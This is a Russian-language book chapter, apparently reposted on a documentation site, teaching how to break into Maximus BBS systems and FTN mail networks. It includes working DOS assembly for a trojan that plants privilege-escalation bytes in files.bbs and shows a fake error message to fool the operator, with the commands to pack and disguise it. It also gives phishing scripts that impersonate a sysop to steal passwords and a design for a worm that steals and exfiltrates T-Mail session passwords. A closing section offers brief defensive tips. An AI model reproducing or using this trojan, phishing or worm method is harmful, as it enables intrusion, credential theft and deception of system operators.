InfoCity
InfoCity - виртуальный город компьютерной документации
Реклама на сайте







Размещение сквозной ссылки

 

BBS И FTN-сети


этой главе описаны методы взлома BBS и FTN-сетей, как программные, так и "обман ные", Представлен исходный текст программы-взломщика с комментариями. Подробно рассказано о "слабых местах" различных программ для BBS и FTN-сетей. Даются рекомендации по защите компьютера от несанкционированного проникновения.

BBS - Bulletin Board System (электронная доска объявлений). Это небольшой информационный центр на базе микрокомпьютера (с винчестером большого объема), к которому пользователи могут подключиться через свой компьютер по телефонной сети в режиме точка - точка.

Работая с BBS, пользователи могут не только скопировать оттуда имеющийся файл, но и оставить свой. Файлом может являться как письмо, так и обычная программа. Как правило, BBS работает в ночное время, а днем это обычный телефонный номер. Главным на BBS является системный оператор (SysOp), который и назначает ее правила и тематику. Услуги BBS часто являются бесплатными, для связи с ней достаточно обычной терминальной программы. При первом входе нужно зарегистрироваться, затем абоненту выделяется определенный промежуток времени для работы. Часто выделяемого времени недостаточно, тогда появляется потребность к взлому BBS. О том, как надо звонить на подобные BBS, как получать оттуда файлы и писать письма, можно узнать в специальной литературе. Поставленная задача - рассказать читателю, каким образом можно повысить себе уровень доступа или получить полный доступ к компьютеру. Для системных операторов это будет лишним поводом задуматься о том, как страшны последствия безграмотности...

Взлом BBS

Существует большое количество программ, предназначенных для создания и поддержания работы BBS. Рассмотрим самую популярную среди них - Maximus.

Несанкционированно проникнуть на BBS, получить доступ к закрытым областям, уничтожить информацию - такие задачи ставит перед собой взломщик.

Существуют так называемые списки файлов, в которых содержится информация о доступных пользователям этой BBS ресурсах. Как правило, такие списки есть в каждой специальной тематической конференции. Пользователи могут скопировать оттуда какой-либо файл или оставить свой. В программе Maximus списком всех файлов, доступных в конференции, является файл с названием files.bbs.

Специально для этой программы создан язык программирования, схожий с языками С и Pascal. На нем можно писать собственные программы под BBS. Скорее всего, именно поэтому большинство системных операторов предпочитают использовать Maximus. После компиляции написанной программы ее можно добавить в общую базу Maximus, и она начнет работать.

Каждая откомпилированная программа приобретает определенную маску файла. Откомпилированная МЕС-программа имеет маску *. bbs, схожую с маской списка файла. Обычно в этих файлах содержатся списки, но если в коде встречаются какие-либо служебные команды, они будут выполнены. Этим взломщик и может воспользоваться.

В Maximus существуют два языка: МЕС и МЕХ. Язык МЕС очень прост, разобраться в нем может каждый. Он позволяет оперировать различными данными, заставками на BBS, базой пользователей. Системный оператор обязательно должен знать этот язык.

Используя команду "PRIV_UP" языка МЕС системный оператор может без особых усилий повышать уровень пользователя, при условии, что последний будет писать и отправлять файлы на станцию. С повышением уровня, пользователь получает дополнительные возможности (увеличивается доступное для работы время, объем информации, которую можно получить с BBS). Этим и может воспользоваться хакер. Ему остается только найти BBS, работающую на программе Maximus, на которой есть много файловых конференций. При этом одна из этих конференций должна быть пустой (то есть в ней не должно быть файла files.bbs, содержащего доступные файлы в данной конференции). Таким образом, остается проверить только одно условие - если все копируемые на BBS файлы помещаются в конференцию, которая была выбрана последний раз, то такую BBS можно взломать без особых усилий. Хакеру остается только создать файл files.тес, записать в него команду PRIV_UP, затем откомпилировать этот файл при помощи компилятора МЕССА (теперь он будет называться files.bbs) и отправить его на BBS. С этого момента хакер может поднимать свой уровень доступа, просматривая данную конференцию, пока он не достигнет уровня системного оператора станции. После этого компьютер окажется полностью в его распоряжении.

Если под рукой не оказалось компилятора МЕССА, то создать files.bbs можно и вручную. Для этого нужно создать файл files.bbs, а затем ввести в него команду повышения уровня - на языке Maximus это всего три символа (код первого - 23h, следующие два - символы pU).

Еще один способ взлома BBS рассчитан на неграмотных системных операторов, не обладающих глубокими знаниями. Он заключается в том, что на станцию засылается программа (причем безразлично, куда она попадет), которая сама добавит команду повышения уровня в файл files.bbs. Во время просмотра доступных файлов хакеру автоматически будет подниматься уровень. Ниже приведен текст похожей исходной программы - фантазия тут может быть безгранична. Эта программа добавляет в файл files.bbs байты, повышающие уровень пользователю. После того, как системный оператор запустит эту программу на своем компьютере, программа ищет файл files.bbs и дописывает туда три байта. Приведенный пример рассчитан на системных операторов, которые держат свои файлы в каталоге, по умолчанию предлагаемом программой для установки. Хотя можно добавить поиск files.bbs по всему винчестеру компьютера.

assume cs:cseg, ds:cseg
cseg segment
org 100h
start:

.Найдем файл FILES.BBS
mov ah,4Eh
mov dx.offset fname
mov cx,20h
int 21 h

;Если файл отсутствует, то выйдем из программы -
;здесь нечего исправлять
jc exit

;0ткроем найденный файл
mov ax,3D02h
mov dx,9Eh
int 21 h
jc exit

-.Установим указатель чтения/записи в конец файла
mov bx.ax
mov ax,4202h
хог сх.сх
xor dx,dx
int 21h

Записываем в файл три байта
mov ah,40h
mov cx,3

mov dx.offset bytes
int 21 h
jc exit

;3акроем файл
mov ah,3Eh
int 21 h

[Выдадим сообщение об ошибке и выйдем в DOS. Дело в том,
;что отработавшая программа не должна вызвать подозрений
системного оператора. Цель - заставить системного оператора

думать, что файл испорчен. Возможно, он допустит, что иногда
;при передаче файлов происходят ошибки, и поэтому файл
;мог стать неработоспособным
exit:

[Выдадим сообщение об ошибке
mov ah,09h

mov dx, offset message
int 21 h

; Выход в DOS
mov ah,4Ch
int 21 h

;Mycop - специально для того, чтобы упаковать
;файл утилитой PKLITE
Garbage db 12000 dup ("A")

;Имя файла "FILES.BBS"
fname db "files.bbs",0

;Сообщение об ошибке
message db "CRC file error", 13,10,"$"

.Записываемые байты
bytes db 23h,"pU"
cseg ends
end start

После того, как файл откомпилирован, его нужно упаковывать, чтобы системный оператор ничего не заподозрил. Этот файл будет содержать большое количество непонятных символов, и при быстром просмотре распознать скрытую в нем программу практически невозможно.

tasm.exe vzlom.asm
tlink.exe vzlom.obj /t
pklite vzlom.com

После этого файл отправляется на BBS и комментируется как демонстрационная программа или как утилита для DOS. Дальше взломщику остается только ждать, пока системный оператор запустит файл. Через некоторое время можно звонить и наслаждаться. Данный метод не сработает, если настоящая опция File Titles в Maximus заменена на ей подобную.

Получение пароля BBS без взлома


Рассмотренные выше способы взлома BBS предполагают наличие у пользователя базовых знаний о системе. Теперь немного о том, как можно достать пароль еще проще. Практически на каждой BBS существуют неопытные пользователи, имеющие высокий уровень доступа (информация об уровне доступа пользователей BBS доступна почти всегда). Если же такого пункта нет, то "хорошего" пользователя всегда можно вычислить, например, по времени, которое он проводит на станции, или по объему скопированной и присланной им информации. Итак, определив человека, паролем которого неплохо завладеть, пишем ему письмо о том, что по техническим причинам (причину придумываем любую, главное правдоподобную) ему следует изменить свой рабочий пароль (предлагаем новый, например "НАСК_01"). После того, как пользователь поменяет свой пароль (на это ему нужно отвести дня два-три, поскольку в один день он может не позвонить, в другой - только поменяет пароль, в общем, время ему понадобиться), можно беспрепятственно входить под его именем и пользоваться системой. Главное, чтобы письмо было написано от имени системного оператора или какого-либо администратора данной системы. Если система не позволяет менять имя адресата в поле FROM, стоит зайти в нее под другим именем (к примеру, Mr. CoSysOp) и написать подобное письмо. Наверное, не надо предупреждать, что все данные, указанные при регистрации под заведомо ложным именем, не должны быть настоящими.

Можно предложить еще один способ проникновения - метод "забывания пароля". Вся хитрость в том, что при входе в систему указывается имя какого-либо пользователя этой BBS, пароль которого, естественно, не известен. После неудачных попыток ввода пароля (не надо пытаться его подобрать, лучше сделать вид, что пароль забыт, вводя различные слова, типа Sprite, Cola и так далее) нужно составить письмо системному оператору с просьбой поменять "забытый" пароль на другой. Указываем новый пароль, затем сочиняем душещипательную историю о каком-нибудь хакере, якобы подобравшем наш пароль на другой BBS или вообще в Интернет, из-за чего приходится использовать на всех системах разные пароли. Если системный оператор не очень опытный, выслушав такую ужасную историю он обязательно войдет в положение несчастного и выполнит его просьбу - поменяет текущий пароль на предложенный. Дальше - полная свобода действий. Работоспособность данного метода зависит от того, насколько опытен оператор, а также убедительна ли выдуманная история. Прочитав ее, системный оператор не должен и предположить, что его обманывают.

Взлом FTN-сетей


Что можно сказать о широко используемой технологии FTN? Множество лазеек для взлома. Чего стоит почтовый файл РКТ, содержащий в себе незашифрованный пароль, узнать который никаких проблем не составляет! А файлы с паролями в уважаемом всеми T-Mail, хранящиеся в нешифрованном виде и доступные любому грамотному человеку, впрочем, как и все конфигурационные файлы наиболее распространенных программ для работы с FTN? На основе подобных промахов в разработке уже давно написаны программы, позволяющие сломать ту или иную BBS, вызвать режим DoorWay и сотворить с удаленным сервером все, что угодно. Однако это еще не предел возможностей программиста. Подумаешь, сломать BBS! Власть над одной из BBS - ничто в сравнении с тем, что хакер может держать в своей руке почту от сотен почтовых узлов, отправлять почту от чужого имени, действовать от лица другого члена или пользователя FTN. Фантастика? Нет - реальность.

Почитатели Эдгара По наверняка знают выражение "Червь-Победитель". Собственно, любой грамотно написанный "червь" станет победителем, если выйдет на свободу. Особенно с применением свежих идей. Применяя технологию СМ (саморазмножающиеся механизмы), называемую в народе "компьютерные вирусы", можно добиться немалого.

Включив в свой СМ некоторую особенность, вместо привычной деструкции можно получить парольный доступ ко многим почтовым узлам со всеми вытекающими отсюда последствиями. Как известно, при установке соединения между двумя FTN-мейлерами они сравнивают свои адреса и пароли. То есть сначала хост получает основной адрес звонящего мейлера и пароль на сессию. Если в конфигурации хоста указаны адрес и пароль звонящего и они совпадают с предъявленным паролем, хост показывает звонящему свой пароль и при совпадении таковых происходит парольная сессия. В подавляющем большинстве случаев электронная почта передается только в парольные сессии, иначе любой мейлер мог бы предъявить хосту подставной адрес и забрать почту, предназначенную для других. В данном случае для того, чтобы перехватывать чужую электронную почту или действовать от лица какого-либо системного оператора, необходимо узнать пароли на сессию звонящей системы и хоста, ожидающего звонка. Кто-то иронически улыбнется: "Как же их можно узнать, если нет возможности "прикинуться хостом", чтобы звонящая система показала свои пароли, если она звонит совсем по другому номеру телефона?!". Разумеется. Но это не нужно. Кто-то скажет: "В таком случае получить эти пароли и от хоста нельзя, поскольку он не будет предъявлять свой пароль и не включит парольную сессию, пока не увидит, что предложенный пароль совпадает с его паролем!" Конечно. Но это тоже не нужно. Что же предпринять? Дело в том, что и хост, и звонящая система могут преподнести свои пароли "на блюдечке". Для этого не нужно захватывать в заложники семью системного оператора или предлагать миллионы долларов хозяину системы - достаточно разместить на компьютере системного оператора незаметную программу, которая эти пароли найдет и отправит на какой-либо из указанных FTN-адресов. Вот и все. Больше ничего не нужно.

Теперь несколько возможностей реализации этого плана. В странах бывшего СССР наиболее часто используется DOS-совместимый мейлер Андрея Елкина T-Mail, поэтому принципы взлома рассмотрены на примере системы, работающей именно на его основе. Некоторые пользуются программой Антона Дейнова "SantaFox-Mail", принципы ее взлома похожи, кроме того, взломать эту систему гораздо легче благодаря встроенной функции DoorWay. Но об этом ниже. Итак, что же программа должна сделать с системой, чтобы заветные пароли наконец-то были получены? Собственно, алгоритм весьма прост, и описать его можно примерно так:

1. Определение расположения программы T-Mail на жестком диске системы.

2. Определение расположения конфигурационных файлов системы.

3. Извлечение списка паролей и адресов из конфигурации системы.

4. Шифрование списка паролей и адресов с эмуляцией PGP-кодирования.

5. Отправление зашифрованного списка паролей и адресов через аплинка по роутингу на систему взломщика.

Теперь рассмотрим возможные способы реализации. Теоретически это не сложно.

Как правило, системные операторы держат свой T-Mail на жестком диске. Первая задача - определить, куда же оператор спрятал свое "сокровище". Тут-то и намечается разделение. Можно написать "троянца", подсадить его в какую-либо конкретную систему и ждать, когда эта система пришлет свои пароли по почте. Но можно написать и "вирус", расходящийся на несколько почтовых узлов, после чего все зараженные узлы сообщат пароли на сессии со всеми своими парольными линками. Можно искать T-Mail по всему жесткому диску с помощью рекурсивного обхода всех логических дисков и вложенных каталогов. Понятно, что этот метод не так уж деликатен, поскольку системный оператор может заметить, что некая программа на протяжении нескольких минут почему-то занимает винчестер. От такой глупости откажемся. Другое дело, если этим будет заниматься вирус. Почему? Да потому, что большинство вирусов отслеживают вызовы функции 4Bh DOS-прерывания 21h для заражения программ. В таком случае, что мешает этому вирусу анализировать запущенные программы на предмет "а не T-Mail ли это часом?" и находить "сокровища" именно таким образом? Ничего. Анализ правильнее будет вести не только по имени запускаемого файла, потому что системный оператор мог переименовать программу, а в данном случае необходима максимальная надежность. Поэтому лучше всего отлавливать T-Mail по постоянной сигнатуре ЕХЕ-файла.

Узнав, где находится программа T-Mail, можно определить, где находятся ее конфигурационные файлы. Если при запуске T-Mail ключ "-С" не задан (кстати, перехват командной строки - это еще один довод в пользу того, что поиск программы корректнее выполнять при помощи вируса), основным файлом конфигурации является "T-MAIL.CTL", находящийся в том же каталоге, что и T-Mail. При запуске программы ключ "-С" задает путь и имя основного конфигурационного файла, который понадобится для взлома. Так что необходимо предусмотреть оба варианта запуска. После определения места расположения основного

конфигурационного файла нужно получить путь еще к двум файлам - файлу паролей и файлу подстановок (пароли могут находиться в обоих файлах). Важное замечание: если пароль для какого-либо адреса указан в файле подстановок, его дублер из файла паролей игнорируется.

Путь к файлу паролей указан в переменной Security, к файлу подстановок - в переменной SubstList. Переменная конфигурационного файла - это строка, начинающаяся со специальных слов. Например, строка:

Security C:\NETWORK\T-MAIL\PASSWORDS.LST

называется переменной Security и содержит путь и имя файла паролей, в то время как строка

SubstList C:\NETWORK\T-MAIL\SUBST.LST

называется, соответственно, переменной SubstList и содержит путь и имя файла подстановок. Разумеется, было бы нежелательно отправлять эти два файла вложением (attach), поскольку оно может потеряться. Надежнее передать эти текстовые файлы по электронной почте в виде обычного письма. Тут возникает проблема: если системный оператор станции, через которую будет проходить это послание (ведь всем известно о его праве читать транзитную почту), обнаружит пароли, он немедленно предупредит об этом того оператора, у кого эти пароли были украдены. Последний договорится со всеми линками о новых паролях, и все старания окажутся напрасными. То есть в целях конспирации придется зашифровать письмо, чтобы при его просмотре казалось, что оно содержит прикрепленный файл. Разумеется, это не обязательно должен быть настоящий PGP, достаточно лишь внешнего сходства и невозможности быстро расшифровать засекреченное послание. Это неплохая гимнастика для ума, поскольку хакер должен уметь не только расшифровывать, но и маскироваться, не только ломать, но и строить.

Теперь нужно выбрать адрес, на который придет это письмо. Желательно отправить его по e-mail в Internet через FTN-Internet гейт. Дело в том, что в таком случае пострадавшему системному оператору будет очень сложно найти отправителя. Очевидно, в этом письме поле "From:" и обратный адрес должны быть подставными. Это собьет системного оператора с толку, и он не станет удалять или задерживать письмо, особенно если в него добавлены "лишние" клуджи "(c)Via:". О том, как создать нетмейл письмо, можно прочитать в FTS.

Почему же SantaFox-Mail сломать гораздо проще? Дело в том, что в основном конфигурационном файле SF-Mail имеется переменная, указывающая пароль на режим DoorWay. От "червя" требуется только задать какой-либо заранее известный пароль на пользование DoorWay, после чего нужно соединиться терминальной программой с этой системой и набирать это слово. Попав в DoorWay, файлы паролей и подстановок можно украсть "голыми руками". Конечно, если системный оператор заметит, что кто-то брал у него эти файлы, он примет соответствующие меры. Кроме того, после изменения паролей могут появиться сбои в работе системы - пользователи будут пытаться войти в DoorWay со старыми паролями, но они не будут работать. Ясно, что оператор об этом узнает очень скоро.

Как было показано в предыдущей части, "червь" может не только воровать пароли, но и задавать свои. В T-Mail нет режима DoorWay, зато есть так называемый "главный пароль системы", заданный в переменной T-Password основного конфигурационного файла. Изменив этот пароль, можно послать на удаленную систему письмо с соответствующими указаниями к действиям и добиться нужного результата.

Об указаниях подробно написано в документации по программе T-Mail, но нужно помнить, что системный оператор будет оповещен обо всех несоответствиях и сбоях в работе системы.

Безопасность вашей BBS


Если у вас дома стоит собственная BBS или вы только собираетесь ее открыть, сначала нужно позаботиться о ее безопасности.

Во-первых, прежде чем создать свою BBS, надо выбрать программу для нее. Чем больше возможностей предоставляет программа, тем больше всевозможных лазеек, которыми может воспользоваться хакер. В Maximus эти лазейки уже описаны - лучше всего не пользоваться этой программой. Если Maximus все-таки используется, лучше не устанавливать больше никаких дополнительных утилит, поскольку именно они могут, послужить предпосылкой проникновения хакера на BBS. DOS-SHELL стоит сразу убрать с BBS. Никогда никому нельзя раскрывать свои пароли (даже копировать информацию о пользователях также не стоит. Берегитесь троянских программ, копируемых пользователями. Их можно проверять либо отладчиками, либо дизассемблером, другого способа нет, ну разве что не запускать их совсем.

Особое внимание нужно уделить директориям. Никогда не устанавливайте программный продукт в директорию, предлагаемую программой по умолчанию. Это, несомненно, может облегчить работу любой троянской программе. Также не стоит запускать маленькие файлы, попавшие на станцию извне. Обычно такие программы и являются "бомбами определенного действия".

Вообще лучшая защита - это нападение. Дело в том, что хакерами многие называют себя совершенно безосновательно. Хакер по заказу фирмы-производителя ломает их системы, таким образом находя лазейки, которые могут быть использованы подобными взломщиками. То есть хакер ищет "дыры", а компания их закрывает. Таким образом, существуют системы, которые взломать практически невозможно.

[Назад][Содержание][Вперед]


Реклама на InfoCity

Яндекс цитирования



Финансы: форекс для тебя








1999-2009 © InfoCity.kiev.ua